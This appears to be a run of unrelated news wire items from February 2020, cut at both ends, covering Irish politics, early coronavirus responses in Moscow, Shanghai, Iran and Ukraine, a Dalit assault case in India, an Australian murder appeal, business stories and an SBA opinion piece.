after paying for a seat next to a window during a flight earlier this week and finding he didn't have one on his row Tweeting about his annoyance, he shared a snap of the seat before writing: 'The window seat I paid for, for my flight to Dublin. Refund? #travelfails.' The Puerto Rican said he had had to pay extra for his return journey because he had been booked into the same seat going back. He said he had initially paid extra for the window seat in order to feel 'more comfortable' on the 'cramped' flight. While some seats on a Ryanair flight are included in the price of the ticket, others, such as those with extra leg-room or closer to the front of the plane, do cost money. Marcos said he was outraged by the incident having paid more to sit by a window and feel 'comfortable' on the flight For customers who want extra leg-room in the front row of the aircraft, the airline charges 20. However when booking online through the Ryanair website, it is impossible to tell which seats on the rows actually have windows next to them. The airline insisted that customers are advised that there are no windows during the process. A spokesperson for Ryanair told Dublin Live: 'There are three seats on all Boeing Next Generation 737-800s that do not have windows. 'Customers who choose to purchase these seats are advised of this fact during the booking process on the website.' Sinn Fein members have been told Gerry Adams is a central part of the party's Irish government formation negotiating team. In a Sinn Fein briefing note, Mr Adams is listed along with other unelected party members Martin Lynch, Dawn Doyle, Stephen McGlade and Ken O'Connell as part of the team. Sinn Fein publicly announced that its negotiating team would be led by Pearse Doherty and include Eoin O Broin, Louise O'Reilly and Matt Carthy. Read More Mr Adams attended the ard comhairle meeting where the negotiating team was decided. However, his appointment to the team was not publicised. A Sinn Fein spokesperson said: "Sinn Fein has many experienced negotiators and we will draw on that experience as required." A source said Mr Adams has been involved in a negotiations for "most of his life" and this was why he is involved in the talks. Read More Mr Adams sat in the Dail's visitors' gallery in Leinster House during the vote for Taoiseach yesterday, along with other party supporters. He played a low-key role during the Irish election campaign but has been attending party events since the vote. Mr Adams (inset) resigned as Sinn Fein leader in 2017 and did not run for the Dail in the recent general election. Expand Close The dail sits HOUSES OF THE OIREACHTAS/AFP via / Facebook Twitter Email Whatsapp The dail sits The 33rd Dail sat for the first time yesterday - 11 days after the outcome of the Irish election produced a different political landscape. Fianna Fail TD Sean O Fearghail was re-elected as Ceann Comhairle (speaker) in the Dail after receiving 130 votes. During the first sitting, the Dail failed to elect a taoiseach. Sinn Fein leader Mary Lou McDonald, Fianna Fail leader Micheal Martin, Fine Gael leader Leo Varadkar and Eamon Ryan were all nominated, but none emerged with a majority vote. Ms McDonald emerged as the most popular candidate with 45 TDs backing her. However, 84 TDs voted in opposition with 29 TDs abstaining. Mr Varadkar secured 36 votes in favour of him as taoiseach, while 107 TDs voted against. Mr Martin secured 41 votes in support, with 97 TDs against. Mr Ryan received 12 votes in support and 115 in opposition. Mr Varadkar will travel to the Aras an Uachtarain to resign from office, but will carry out his duties in a caretaker capacity until a new taoiseach is appointed. He told the Dail: "The responsibility is on all of us to ensure we provide good government, and indeed good opposition. "I think the onus is on those who have made enormous promises of change to the people during this election who are entrusted with that mandate to bring a programme of government for approval. If they cannot, they should say so and be upfront and honest about their failures and the empty promises they made." He said he will travel to Washington DC for the traditional St Patrick's Day events. A Cork man who has turned his life around after overcoming his addiction to heroin received a first class honours masters degree in criminology at University College Cork (UCC) this week. UCC student James Leonard brought Tommy Tiernan to tears when he appeared on his RTE show to speak with the comedian about his history with addiction. A heroin user for 10 years, Mr Leonard spoke about how isolated drug use made him feel. I tried recovery a few times, Id go to treatment centres but I could never imagine myself without using the substance. It was very easy to go back to what was familiar to me even though it was so rough. "I suppose throughout the heroin use, the craic left me. There was no more craic, there was no more bonding, it's very isolating," he told Tommy Tiernan. "There was nothing glamorous about it, everyday is a struggle." James now works with the Cork Education and Training Board (Cork ETB) Youth Services. Speaking ahead of his conferring, he said he chose his course as it was a field in which he has long held an interest. During my undergraduate in Youth and Community Work, I completed two placements at Probation Service funded projects. I also researched drug policy for my undergrad dissertation. The Criminology masters was the natural choice for me to get a more in-depth understanding of theories and perspectives related to deviance, organised crime, recovery, desistance (how to stop offending), youth justice etc." The practical skills gained on work experience on the Youth and Community degree coupled with the academic skills of the Masters put me in a position to be employed by Cork ETB Youth Services where both sets of skills, and indeed knowledge, are very relevant." "The Criminology masters complimented the Youth and Community bachelors nicely and greatly improved my employability, he added. Graduating with Masters Degree in Criminology at UCC :James Leonard with his wife Gillian. Pic: Michael Mac Sweeney/Provision Mr Leonard was among the 1,100 students who received their qualifications at conferring ceremonies taking place on the UCC campus this week. Meanwhile, in his Conferrings address, UCC President Prof Patrick OShea called on graduates to do their part to tackle climate change. If we do not act, and act quickly, then our world is going to change radically; it already is. This will impact you, your children, and your childrens children, more than this grey-haired person who stands before you today, he said. They say dire warnings around the future of our planet have little impact on an audience. So I wont give you dire warnings. I will instead issue a plea. "A plea that in the actions you take, the roles that you will lead, the debate that you encourage, that you consider, how we together, can place our environment on a path that does not risk our future. He also reiterated the university's commitment to equality and diversity. "We are living in a time that is seeing the rise of nationalistic sentiment, as swathes of communities feel disconnected, providing fertile ground for those calling for a retreat behind borders." Moscow is using facial recognition technology to ensure people ordered to remain at home or at their hotels under coronavirus quarantine do so, the mayor of the Russian capital said on Friday. Russia has temporarily barred Chinese nationals from entering the country to curb the spread of the virus, but has welcomed Russians who return home with an order to spend two weeks at home, even in the absence of symptoms. Sergei Sobyanin, the mayor of Moscow, said some 2,500 people who had landed in the city from China had been ordered to go into quarantine. To prevent them leaving their apartments, the authorities are using facial recognition technology in the city to catch any offenders, he said. "Compliance with the regime is constantly monitored, including with the help of facial recognition systems and other technical measures," he wrote on his website. In one case described by Sobyanin, surveillance footage showed a woman who had returned from China leaving her apartment and meeting friends outside. The authorities were able to track down the taxi driver who had taken her home from the airport thanks to video footage, Sobyanin said. Sobyanin said the city was also forced to carry out raids against possible carriers of the virus, something he said was "unpleasant but necessary." The Moscow mayor's office did not immediately reply to a request for comment. Thirteen Congressional Medal of Honor recipients, including Chattanooga's Charles H. Coolidge, are set to attend the grand opening ceremony for the new Charles H. Coolidge National Medal of Honor Heritage Center on Saturday at 10 a.m. at 2 West Aquarium Way. Medal of Honor recipients due to attend also Include Bennie Adkins, Barney Barnum, Patrick Brady, Gary Beikrich, Kyle Carpenter, Sammy Davis, Charles Hagemeister, Joe Harm, Gary Littrel, James Livingston, Michael Thornton and Matt Williams. In addition, other military veterans of distinction and rank plan to attend, including 4-Star Generals Paul E. Funk II and Karl Horst. Numerous local, state and national elected officials to attend include Congressman Chuck Fleischmann, Congressman Diane Black, Senator Marsha Blackburn, Tennessee Governor Bill Lee, Chattanooga Mayor Andy Berke and Hamilton County Mayor Jim Coppinger. The order of ceremony includes: Procession of the Medal of Honor recipients and their families Presentation of Colors by the University of Tennessee at Chattanooga ROTC Color Guard National Anthem performed by Medal of Honor Recipient Jim McCloughan Remarks by a number of dignitaries, Heritage Center Trustees and Medal of Honor recipients, including retired 3-Star General Charles H. Coolidge, Jr. The National Medal of Honor Heritage Center features 19,000-square-foot facility with life-sized, dynamic displays designed to educate, engage and inspire visitors with the real-life stories of our nations top military heroes. Exhibit gallery that will change 3-to-5 times a year First exhibit, Honoring the Sacrifice: Medals of Honor Through Time, features the stories of Medal of Honor recipients from the Civil War to Vietnam, along with their medals, related artifacts and images. Classroom and community space for visiting schools and civic groups. Character Education Program, based on the 6 character traits common to all Medal of Honor Recipients, for further outreach and impact in the community. Hours: Saturday, February 22, 1 p.m. Heritage Center opens for public tours Monday-Saturday, 10 a.m.-6 p.m. Sunday, 1-6 p.m. Tickets are required for admission to tour the Heritage Center and may be purchased online at www.mohhc.org/tickets Memberships to the Heritage Center are available and will give members priority seating at the grand ceremony event and certain rewards throughout the year. A caretaker at the Tianbao Nursing Home in Shanghai helps a resident make a video call to her family. [For China Daily] Nursing homes take precautions to protect residents' health during the novel coronavirus outbreak. Eighty-seven-year-old Bao Zhanmei and her 90-year-old brother, Bao Zhankang, live in the same nursing home, but the siblings haven't seen each other for over a month. The two, who live on different floors of the Tianbao Nursing Home in Shanghai's Hongkou District, used to meet at least twice a week. However, due to the recent outbreak of the novel coronavirus pneumonia, the nursing home has prohibited residents who live on different levels from interacting so as to minimize the risk of potential cross infection. There are 300 elderly people living in the home. The pair currently communicate with each other through video calls twice a week with the assistance of social workers. According to Huang Qian, the social worker who helps facilitate these calls, Bao Zhanmei has been very worried about her brother's poor physical condition. "After seeing her brother through the video calls, she felt relieved and happy. They talked about many things through the call," Huang says. While most people are facing a shortage of protective supplies, the main problem nursing homes face during the outbreak is managing residents' emotions, says Chen Yan, director of the Tianbao Nursing Home. Shanghai is home to nearly 5 million residents who are at least 60 years old, and the government has emphasized their welfare during the outbreak. Most nursing homes and senior-care centers have suspended family visits and canceled social activities. The 804 licensed nursing homes in the city are required to submit daily reports about the status and health of their residents and staffers to the authorities. The outbreak hasn't compromised care at the Yangpu Community Nursing Home. [For China Daily] According to Jiang Rui, deputy director of the city's civil affairs bureau, more than 3,200 home-based care workers, who are responsible for more than 11,000 elderly residents living alone in the city, have also taken precautions to prevent the spread of the virus. At the Tianbao Nursing Home, which has been on lockdown since January 26, the guard at the main entrance takes down the details and measures the temperature of every person entering and leaving every day. The home has also suspended meal deliveries from families and all supplies brought by family members must be disinfected. Meanwhile, all the residents have been confined to the floors they live on, and meal times have been staggered. "Many residents are starting to worry because family members and volunteers used to visit them regularly," Chen says. "Our social workers now go to each resident to offer emotional comfort and psychological counseling. We also use WeChat, video calls and phone calls to connect residents with their families, and this has greatly relieved their anxiety." Chen says staffers have also been using their phones to record what the residents do every day before sending the videos and photos to their families. Despite the lockdown, nursing homes across the city have tried their best to ensure that the lives of their residents go on as normal. The Yangpu Community Nursing Home, which has been operating in Shanghai's Yangpu District for 31 years, is home to around 700 people with an average age of 88.6. Most of them have dementia or physical disabilities. Although the home has since January 27 suspended family visits, daily care of the elderly has been completely unaffected, according to director Qiao Yihao. "Take the food service for example. Some require nasogastric feeding while some need the food to be minced. All these have been well taken care of," Qiao says. According to Qiao, the medical facility within the nursing home also provides basic diagnoses, treatments and healthcare services for the elderly. As some caretakers had left the city for Spring Festival and are not able to return due to the outbreak, staffers who are on-site have to work around the clock to keep the home running. To minimize the risk of getting infected with the novel coronavirus during commutes, the nursing home has provided accommodation within the home for caretakers, doctors and nurses who work for several days per shift. There have been occasions when the nursing home has had to cut back on celebrations, Qiao says. For example, a resident's planned 100th birthday banquet in late January had to be canceled because of the outbreak. "To make things up to him, we prepared 'longevity noodles' and threw him a simple birthday party with the staff," Qiao says. "During such a special period, this simplicity is also a kind of protection. Thankfully, his family was supportive and understanding of the matter." (Source: China Daily) Leaders from the Congress and the BJP on Friday visited Nagaur, where two Dalit men were allegedly brutalised in an act caught on camera. Union minister Arjun Ram Meghwal led the BJP panel to look into the incident while the Congress sent a team headed by Rajasthan revenue minister Harish Chaudhary. Meghwal lashed at the Ashok Gehlot-led Congress government, saying it was responsible for the incident. "The Chief minister is holding the portfolio of home minister but there is no control over crime and the government is responsible for the incident," Meghwal, the minister of state for heavy industries and public enterprises, said. Rashtriya Loktantrik MLA Narayan Beniwal also visited the town and met the victims who were allegedly beaten up, stripped and tortured by staffers of a motorcycle service agency after accusing them of committing theft. The brutal incident came to light after a video of the assault went viral. In the video, a group of men is seen thrashing two persons with rubber belts. They later dip a piece of cloth wrapped on a screwdriver in petrol and insert it in the private parts of one of the victims. Meghwal, who represents the Bikaner parliamentary constituency in Parliament, also accused police of manipulating the case. "There was also a failure on part of the police because they could not get to know about the incident when it happened," he said. The Union minister alleged that the victims were under pressure. Meghwal was accompanied by party legislators Madan Diwalar and Mohan Ram. After meeting the victims, the BJP panel visited the spot where the incident took place on Sunday. It also visited the Panchodi police station where an FIR regarding the incident has been registered. Meghwal said an inquiry report of the panel will be submitted to BJP's state president Satish Poonia in Jaipur on Saturday. The Congress leaders who visited the victims included revenue minister Harish Chaudhary, social justice and empowerment minister master Bhanwar Lal Meghwal, forest minister Sukhram, MLA Harish Meena and PCC general secretary Mahesh Sharma. "We met the victims and their family members and also held talks with locals as well as officials," Chaudhary said. Police have so far arrested seven persons in connection with the case. "Seven people have been arrested after registering a case against them under various sections of IPC and the SC/ST Act. A cross FIR has also been registered for stealing money. We are ascertaining how much money was stolen from the service agency counter. Further investigation in the matter is on," DSP, Nagaur, Mukul Sharma had said on Thursday. Section 308 of IPC (attempt to commit culpable homicide) was also been added in the FIR. The arrested accused have been identified as Bhim Singh, Idaan Singh, Hanuman Singh, Raghuveer Singh, Chhail Singh, Chhatar Singh and Rehmatullah. Director General of Police Bhupendra Singh said in Jaipur that the matter was being investigated thoroughly and none will be spared. He said the IG Human Rights has been sent to Nagaur to monitor the investigation. A delegation of the Bahujan Samaj Party (BSP) met the DGP and handed over him a representation demanding justice for the victims and also government jobs for them. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Maharashtra's Higher Minister Uday Samant on Friday met Delhi's Deputy Chief Minister to discuss various initiatives taken under the AAP government's model. "I came here with a lot of curiosity to know more about Delhi's model. It is so successful and I would like to take ideas from here and adopt in our education system," Samant was quoted as saying in an official statement. "I also shared about our efforts to bring a positive change in Maharashtra's education model. We should also think of a tie-up between the two states and pick good things from each other's education models," he said. Sisodia, who is also Delhi's Education Minister said, "The government has started with some new programmes in the field of education and I would like to learn and adopt it here". "We want to take the journey of bringing about a revolution in education ahead by adopting and implementing best learning programmes and practices for our children. That is why it's very important to collaborate with each other and learn from the individual experience of education departments of both the states," Sisodia said. Share this article Whatsapp Facebook Twitter Linkedin Riska Rahman (The Jakarta Post) Jakarta Fri, February 21, 2020 14:30 691 7f440ff09e92db75a02bbad2065d0315 1 Business Bank-Central-Asia,BCA,BCA-Finance,ride-sharing,ojek-service,taxi,loan-disbursement Free Bank Central Asia (BCA), Indonesias largest private lender by market value, is blaming the banks contraction in automotive loans last year on the rise of ride-hailing apps and the millennial lifestyle. President director Jahja Setiaatmadja said on Thursday that the rising use of smartphone apps to book a car or motorcycle ride had seen the banks automotive loan disbursement contract by 1.1 percent to Rp 47.63 trillion (US$3.47 billion) in 2019. The presence of online ride-hailing apps has made it more convenient for everyone to travel. This has also changed many peoples, especially millennials, lifestyle in big cities, as they think they dont really need to have their own vehicles anymore, he explained during a press briefing in Jakarta. Improved public transportation, especially in Jakarta, also played a role in the declining demand for vehicles, Jahja said, as people think they no longer need to own vehicles to get around. Despite the decline, he said, the company still booked a 1.4 percent year-on-year (yoy) growth in loan disbursement for four-wheeled vehicles, as the banks subsidiary, BCA Finance, had become a market leader for car loans in the country. Read also: BCA lowers loan growth target to 5%-7% over virus, market concerns The drop in vehicle loan disbursement was mainly influenced by a sharp decline in two-wheeler vehicle loans, which plummeted by 34.5 percent yoy to Rp 2.19 trillion in 2019. Aside from the rise of ride-hailing apps, Jahja also attributed the nosedive to last years slumping purchasing power as well as fierce competition in motorcycle financing. Our fiercest competitor are finance companies owned by motorcycle manufacturers, and we admit that we havent become a top-of-mind name in the segment, he said. Across all segments, BCA booked 9.5 percent growth in outstanding loans to Rp 603.74 trillion in 2019, supported by double-digit growth from the corporate segment and the commercial and small and medium enterprises (SMEs) segment. That compares with 6.08 percent growth in the overall commercial banking industry last year. Aircraft engine maker Pratt & Whitney has partnered with Air India Engineering Services Ltd for maintenance of all types of engines, including those powering A320 neos, according to a source. The two companies are likely to make a joint announcement about the partnership soon, the source told PTI. A320 neo planes, powered by P&W engines, have been grappling with snags for nearly four years. A substantial number of such neos are operated in India by IndiGo and GoAir. P&W already has a tie-up with Air India Engineering Services Ltd (AIESL) for maintenance of its 4056 engine model. These engines power Boeing 747-series aircraft. Once the new partnership is in place, AIESL would be carrying out maintenance work for all types of engines manufactured by P&W. "P&W and AIESL have entered into an agreement under which the latter will maintain P&W engines in the country. In the first phase of the contract, P&W is helping in having a set up in Mumbai for model change," the source said. Faulty engines would come to AIESL for replacement and then they would be taken to P&W factory for repair. Later, the repaired engines would be refitted in the aircraft concerned, the source added. Under the pact, P&W would also train Air India staff with respect to handling engines. A P&W spokesperson declined to comment. However, a senior company official confirmed the signing of the agreement with the AIESL. "We are not commenting on the MRO (Maintenance, Repair and Overhaul) plans in India," P&W spokesperson Jenny Dervin told PTI in response to a query on the issue. AIESL officials were not available for comments. Aviation regulator DGCA has set a deadline of May 31 for IndiGo to replace all 135 unmodified P&W engines. As per the source, AIESL has already received the first P&W engine of an IndiGo plane for maintenance work at Mumbai facility, the source said. "According to the agreement, the P&W officials will come and train AIESL engineers. Initially, their own engineers will do the job along with AIESL engineers "Once they are trained fully, AIESL will be carrying out the job completely on its own under the second phase of the contract," the source said. P&W engineers have already started imparting training to AIESL at their Bengaluru training facility, besides providing the tools, equipment and manuals. After completion of all requisite processes, approval would be sought from the DGCA, the source said. Air India and Vistara also have A320 neo planes but those are fitted with CFM's LEAP-1A engines. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The high cost of living in one of the country's newest apartment complexes is "worth the money", according to its tenants. Luc Winkelmolen (31) and his partner Kelvin were among the first tenants to move into the ultra-modern build-to-rent homes in Clongriffin, Dublin. Paying 1,500 per month for a fully furnished one-bed apartment, their rent includes utility bills, refuse collection, broadband and TV. The couple can also use the on-site gym, yoga studio, private cinema and a communal lounging area. However, they had to sign their lease online without ever having viewed the property. The One Three North development, managed by Vesta, also offers two-bed apartments priced from 1,990 a month and three-beds units at 2,499. Mr Winkelmolen, a technical engineer from the Netherlands, told the Irish Independent that the amenities included in his rent save him approximately 250 in bills. However, he couldn't imagine how a family with children could afford to live in one of the larger apartments. "We just moved in on Tuesday and are very impressed with how spacious our place is," he said. "It was kind of risky signing the lease without seeing the apartment itself, but at the back of my mind I was happy that it was A-rated and accepted cats. "Yes, it's pricey, but to be honest the rental market has gotten so crazy in Dublin that there are far more expensive places out there. "In Harold's Cross, there are one-bedroom apartments priced at 2,000 and in the Docklands renters pay 2,850 per month. The amenities here are great and we save a lot of money not having to pay for our internet and gym membership separately, but I can't imagine how any family with kids could afford to live here." Mr Winkelmolen, who has been renting in Dublin for six years, said a similar apartment in the Netherlands would cost 800 per month. "The rental market in Ireland is quite crazy in comparison to the Netherlands as there is a very high demand with very few high-quality apartments. "An apartment like this would set us back about 800 per month, but come unfurnished," he said. I believe President Trumps State of the Union Address articulated an inspiring vision of American greatness. The president made a powerful case that his pro-growth economic policies are not only sustaining record-high levels of optimism among Americas 30 million small businesses, but also driving upward mobility among historically underrepresented minority entrepreneurs. The presidents speech gave entrepreneurs the confidence they need to make important decisions such as hiring new employees, buying new inventory, and/or expanding into a second or third location. Small firms across the board are benefiting from this administrations economic policies. Last year, Latino-owned small businesses saw their average revenues increase by an astounding 46%. This administrations commitment to reducing the cost of health care, opening new international markets, providing paid family leave, and expanding access to affordable child care will further reduce barriers to entrepreneurial development and growth, particularly among minorities. Im especially encouraged by this presidents efforts to steer more private sector investment into more than 8,700 undercapitalized communities through Opportunity Zones. These critically important investments will help more low-income Americans climb the economic ladder and realize the American dream. President Trump talked about his pro-growth agenda of tax cuts, deregulation, trade reform and energy independence that have delivered incredible results over the past three years. The presidents policies are lifting workers across the board and providing new opportunities and hope to millions of Americans. Job creation is booming, incomes are rising for workers at all levels and poverty is falling thanks to the presidents actions. Incredibly, more than 7 million jobs have been added to the economy since President Trumps election. Unemployment has fallen to historic lows, and there are more job openings than job seekers for the first time on record. Since being appointed Small Business Administration regional administrator in January 2017, I have seen small business optimism soar to one of the highest levels in history. Last fiscal year alone, SBA approved more than 68,000 small business loans worth $28 billion across the nation. The president identified several critically important policy priorities that will expand prosperity in America and promote peace at home and abroad. This agenda includes safe and legal immigration, protecting American workers with fair trade policies, rebuilding America by advocating for an infrastructure package that invests in vital national infrastructure projects, lowering the cost of health care and prescription drugs, and strengthening national security. America is moving in the right direction, and small-business growth continues to drive our nations economy. Having a strong, positive message presented by our president creates an environment that is good for business, especially in the entrepreneurial community. For more information on SBAs programs and services, please visit www.sba.gov and remember to follow us on Twitter @SBARockymtn. Dan Nordberg serves as the Small Business Administrations Region VIII administrator and is based in Denver. He oversees the agencys programs and services in Colorado, Montana, Utah, North Dakota, South Dakota and Wyoming. You must be logged in to react. Click any reaction to login. Love 0 Funny 1 Wow 0 Sad 1 Angry 1 (Newser) Lesotho's prime minister will join his current wife in facing murder charges in the 2017 shooting death of his estranged wifewhenever he shows up to court. Thomas Thabane failed to appear in court on Friday, with his press secretary saying he'd been taken to doctors in neighboring South Africa after feeling unwell Thursday night. "He is willing to hear the charges against him" once he's released, perhaps as soon as this weekend, the rep said, per the New York Times, adding the 80-year-old will step down in July. Wife Maesaiah Thabane is already charged with killing 58-year-old Lipolelo Thabane, who was shot dead in her car outside the capital of Maseru on June 14, 2017, two days before Thabane began his second term. story continues below Deputy Police Commissioner Paseka Mokete said Thursday that phone records indicate Thabane "was in contact with one of the assailants on the night of Ms. Thabane's death." Police Commissioner Holomo Molibeli added Thabane had demanded he be fired for pursuing the investigation, which is heating up as "people are coming in droves to give us intelligence," per Al Jazeera. But Thabane's daughter thinks this is all a misunderstanding. "He is not the kind of guy to plot a killing," Mabatsoeneng Hlaethe tells Al Jazeera of her father. "But I have different convictions as far as his new wife is concerned." Investigators believe Maesaiah Thabane hired the killers; the women had both claimed the title of first lady, and a court ultimate sided with Lipolelo Thabane. (More on the case here.) German Chancellor Angela Merkel and French President Emmanuel Macron told Russia's Vladimir Putin they want to meet him and Turkey's Recep Tayyip Erdogan to defuse the crisis in Syria. In their phone call with the President Putin, Merkel and Macron expressed their "concern over the humanitarian catastrophe for residents of Syria's Idlib province," Merkel's office said. A months-long offensive by Russia-backed Syrian troops against rebels backed by Turkey in northwest Idlib has seen close to one million civilians flee the violence. The two European Union leaders "expressed their willingness to meet President Putin and Turkish President Erdogan to find a political solution to the crisis," the chancellor's office said. Merkel and Macron "called for the immediate end to the fighting and unfettered humanitarian access to people in need," their statement said. Since Syria's civil war erupted in 2011, the country has never seen so many people displaced in so short a time. In nine years, millions of civilians have fled their homes and more than 380,000 have been killed. TEHRAN, Iran - Iranian health authorities Friday reported two more deaths from the new virus that emerged in China and said the fatalities were from among 13 new confirmed cases of the virus in Iran. The report by the semiofficial Mehr news agency came as Iranians voted in nationwide parliamentary elections. After authorities reported two earlier deaths this week, the death toll from COVID-19, the illness caused by virus, stands at four in Iran. So far, 18 cases have been confirmed in Iran, including the four who died. The spokesman of the health ministry, Kianoush Jahanpour, said the newly detected cases are all linked with city of Qom where the first two elderly patients died on Wednesday. Jahanpour said the new cases were either from Qom or had visited the city recently. He said four of them have been hospitalized in the capital, Tehran, and two in northern province of Gilan. Minoo Mohraz, an Iranian health ministry official, said the virus possibly came from Chinese workers who work in Qom and travelled to China. She did not elaborate. A Chinese company has been building a solar power plant in Qom. In Lebanon, Health Minister Hamad Hassan on Friday reported the Mediterranean countrys first case of the new virus. At a news conference in Beirut, he said the patient was a 45-year-old woman who arrived Thursday on a flight from Qom. He said the woman was in good health and the ministry was also following up on the cases of two other people suspected of having the illness. The woman and two other suspected victims were quarantined at the Rafik Hariri government hospital in Beirut. Concerns over the spread of the virus, which originated in central China, prompted authorities in Iran this week to close all schools and Shiite seminaries in Qom, about 130 kilometres (80 miles) south of Tehran. Also, earlier news reports said Iran had recently evacuated 60 Iranian students from Wuhan, the Chinese city at the epicenter of the epidemic. The students were quarantined upon their return to Iran and were discharged after 14 days without any health problems. Qom is a popular religious destination and a centre of learning and religious studies for Shiite Muslims from inside Iran, as well as Iraq, Pakistan and Afghanistan and Azerbaijan. It is also known for its cattle farms. Iran once relied heavily on China to buy its oil and some Chinese companies have continued doing business with Iran in the face of U.S. sanctions. Unlike other countries such as Saudi Arabia, which barred its citizens and residents from travelling to China Iran has not imposed such measures. But it has suspended all passenger flights with China for the past two weeks, allowing only cargo flights. Irans civil aviation spokesman Reza Jafarzadeh said on Thursday that the cargo flights, if necessary, are under supervision, and controls imposed by the health ministry are carried out. In Turkey, Health Minister Fahrettin Koca said officials have started to screen travellers arriving from Iran at border gates and are refusing entry to anyone with signs of illness. He also said Iranians who have travelled to Qom in the past 14 days will be refused entry. The new virus emerged in China in December. Since then, more than 76,000 people have been infected globally, in as many as 27 countries, with more than 2,200 deaths being reported, mostly in China. The new virus comes from a large family of coronaviruses, some causing nothing worse than a cold. It causes cold- and flu-like symptoms, including cough and fever, and in more severe cases, shortness of breath. It can worsen to pneumonia, which can be fatal. The World Health Organization recently named the illness it causes COVID-19, referring to both coronavirus and its origin late last year. There have been few virus cases in the Middle East so far. Nine cases have been confirmed in the United Arab Emirates, which is a popular tourist destination, and one case in Egypt. Of the nine in the UAE, seven are Chinese nationals, one is a Filipino and another an Indian national. Irans neighbour Iraq, which has reported no cases of the virus, took measures to contain it by suspending visas on arrival for Iranian passport holders and direct flights between the two countries. Iraqs top Shiite cleric weighed in, using his weekly sermon at Friday prayers to urge authorities to be prepared for any outbreak. The level of preparations should match the level of the threat, said Grand Ayatollah Ali al-Sistani, calling on officials to boost preparations to avoid the danger. Also Friday, one of 11 Israelis who were flown home after being quarantined on a cruise ship in Japan has tested positive for the virus, the first case to be reported inside Israel, the Health Ministry. The Israeli cruise ship passengers, who had all initially tested negative, arrived on a charter plane overnight. They were met by medics in protection suits and immediately taken to the Sheba Hospital near Tel Aviv, where they will be kept in quarantine. Another four Israelis were hospitalized in Japan after testing positive for the virus. Israel has cancelled all flights to and from China, and is requiring Israelis returning from China, Hong Kong, Macau, Singapore or Thailand to be quarantined at home for two weeks. ___ Associated Press writers Joseph Krauss in Jerusalem, Zeina Karam in Beirut and Suzan Fraser in Ankara, Turkey contributed to this report. A combination of online misinformation and intensifying fears about the coronavirus has triggered violent demonstrations in Ukraine, where protesters threw stones at buses carrying evacuees from China. On Thursday, six buses carrying 45 Ukrainians and 27 foreign nationals were brought to a hospital in Novi Sanzhary, a town southeast of the capital city of Kyiv. Dozens of protesters sought to block the route of the buses, hurling stones at the convoy while engaging in violent clashes with the police. The vehicles were eventually able to reach their destination after a tense stand-off, albeit hours later than scheduled. All of the evacuees will spend the next two weeks in quarantine. The country's health minister has said that none of the passengers on board the buses were thought to be unwell. Francis John Wark (above) stood trial in the WA Supreme Court before Justice Lindy Jenkins, who in 2018 found him guilty of murdering the 17-year-old hitchhiker in 1999, had his conviction overturned on Friday A man serving a life sentence for murdering West Australian teenager Hayley Dodd during a sex attack has had his conviction overturned on appeal and will face a retrial. Francis John Wark stood trial in the WA Supreme Court before Justice Lindy Jenkins, who in 2018 found him guilty of murdering the 17-year-old hitchhiker after luring her into a ute near rural Badgingarra on July 29, 1999. Hayley's body has never been found. Wark, 64, was sentenced to life in prison with a minimum of 21 years to be served but on Friday the WA Court of Appeal quashed his conviction. Outside, Hayley's mother Margaret said she was going to be 'put through the mill again'. 'I'm not going to get unduly upset over it, even though I am upset,' she told reporters. Ms Dodd said she would attend every day of the retrial, as she had the first trial. 'It's my daughter we're talking about and I want to hear everything that goes on,' she said. Australian teenager Hayley Dodd's (above) body was never found after her disappearance in July 1999 Wark, 64, was sentenced to life in prison with a minimum of 21 years to be served, in 2018 Hayley's mother Margaret (above) said she was going to be 'put through the mill again' as vows to attend every day of the retrial Wark was charged in 2015 following a cold case review and had been serving a 12-year prison term at the time for raping a woman he picked up on a remote Queensland road in 2007. He was convicted of Hayley's murder largely on the evidence of an ankh-shaped earring found in 2013 when a car bench seat cover police seized one week after Hayley vanished was examined at the state forensic laboratory. Justice Jenkins also found Wark had a propensity to pick up lone female hitchhikers then overpower and rape them. In his witness statement, Wark said he had done his weekly chores in nearby Moora, then travelled to Perth about 20 minutes after Hayley was last seen alive. 'To some, it may seem strange that an error in one or two paragraphs of a careful judgment of almost 200 pages could lead to a successful appeal and a retrial,' Court of Appeal Justice Michael Beech said. 'However the truth of what the appellant told the police was at the heart of his case at trial. 'Acceptance of his account of when he left Moora would have required his acquittal. 'In my respectful view, the judge's erroneous discounting, unless supported by independent evidence, of what the appellant told the police occasioned a miscarriage of justice and a substantial one.' Wark, who was not in court for the appeal judgment, has been remanded in custody. His lawyer has flagged the possibility of a bail application but Wark is otherwise due back in court next month. Wark was convicted of Hayley's murder largely on the evidence of an ankh-shaped earring found in 2013 when a car bench seat cover police seized one week after Hayley vanished was examined at the state forensic laboratory Vineet Upadhyay By Express News Service DEHRADUN: Uttarakhand"s political bigwigs such as Chief Minister Trivendra Singh Rawat, Cabinet minister and government spokesperson Madan Kaushik and Leader of Opposition Indira Hridayesh have not been able to fully utilise their MLA funds for developmental projects in this soon-to-end financial year, revealed an RTI query. Cabinet minister Madan Kaushik (60% funds unutilised), Congress state president Pritam Singh (54% unutilised) and former chairperson of Uttarakhand Legislative Assembly Govind Singh Kunjwal (59% unspent) are among the 17 leaders who were unable to use even half of the MLA Local Area Development (MLALAD) funds. BJP MLA Yatishwaranand (rural Haridwar) fared the best among MLAs as he managed to use 78% of his allocated fund. Congress Harish Singh Dhami (Dharchula) came at the bottom with over 70% of MLALAD funds lying idle, so far.Under the MLALAD scheme in Uttarakhand, each legislator gets `3.75 cr for carrying out development works in his/her Assembly constituency in a financial year. The utilisation of the funds involves complex process involving many stages. Sometimes, due to this process, the approval and release of funds get delayed. Development is our priority. We are committed to take the state to new heights, Kaushik said in response to the queries related to the unused funds. Seventy-one MLAs of the Uttarkhand Assembly were allocated `798.75 crore from financial year 2017-2018 till December of the ongoing financial year 2019-2020 out of which `317.58 crore is lying unspent. Almost all the MLAs of Uttarakhand are unable to spend their allocated funds fully, says the response to a RTI query of activist Nadimuddin. The data giving details till December 2019 was provided by the state rural development department. The representatives should make efforts to utilise funds for development in a better way. Their work and duty is towards betterment of people, whether it is to provide development or enhance their quality of life through framing laws, said the Kashipur-based activist. Turkish Defense Minister urges Assad regime to comply with cease-fire Hulusi Akar stressed that Turkeys stance on the Idlib issue "has not changed" and it has been fulfilling its responsibilities on the matter. Turkey wants the Syrian regimes compliance with a cease-fire in northwestern Idlib province, Defense Minister Hulusi Akar has said in an interview with CNN Turk. "OUR STANCE HAS NOT CHANGED" We do not aim for a face-off with Russia. This is out of question. We have done everything in our power to prevent this 